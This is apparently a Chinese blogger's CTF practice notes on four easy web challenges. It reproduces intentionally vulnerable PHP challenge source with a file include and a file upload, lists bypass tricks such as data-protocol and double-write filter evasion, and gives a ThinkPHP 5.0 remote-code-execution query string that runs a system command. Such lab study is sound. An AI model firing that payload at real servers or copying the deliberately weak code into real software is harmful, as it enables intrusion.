白天看完了《xss跨站脚本攻击剖析与防御》又刷了遍xss-lab见了一些之前没见过的技巧,晚上又刷了点水题找找自信。

 

php_include

 

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

 

 

 

 

  1. phpmyadmin提权

https://www.freebuf.com/column/173672.html

  1. php:// +命令发包
  2. Data协议绕过
  3. Php双写大小写绕过

 

 

baby_web

 

 day1 四道水web 随笔 第1张

 

 

 

php_rce

Thinkphp 5.0 rce漏洞

https://blog.csdn.net/weixin_40709439/article/details/86564457

https://xz.aliyun.com/t/3845

 

s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

 

 

 

ics-07

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>cetc7</title>
  </head>
  <body>
    <?php
    session_start();

    if (!isset($_GET[page])) {
      show_source(__FILE__);
      die();
    }

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
      include('flag.php');
    }else {
      header('Location: ?page=flag.php');
    }

    ?>

    <form action="#" method="get">
      page : <input type="text" name="page" value="">
      id : <input type="text" name="id" value="">
      <input type="submit" name="submit" value="submit">
    </form>
    <br />
    <a href="index.phps">view-source</a>

    <?php
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
       }else{
            chdir('uploaded');
           $f = fopen($filename, 'w');
           fwrite($f$con);
           fclose($f);
       }
     }
     ?>

    <?php
      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;
        die();
      }

      if(!$result)die("<br >something wae wrong ! <br>");
      if($result){
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;
      }
     ?>

  </body>
</html>

 

 

 

 

过滤最后一个.后的内容

 day1 四道水web 随笔 第2张

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄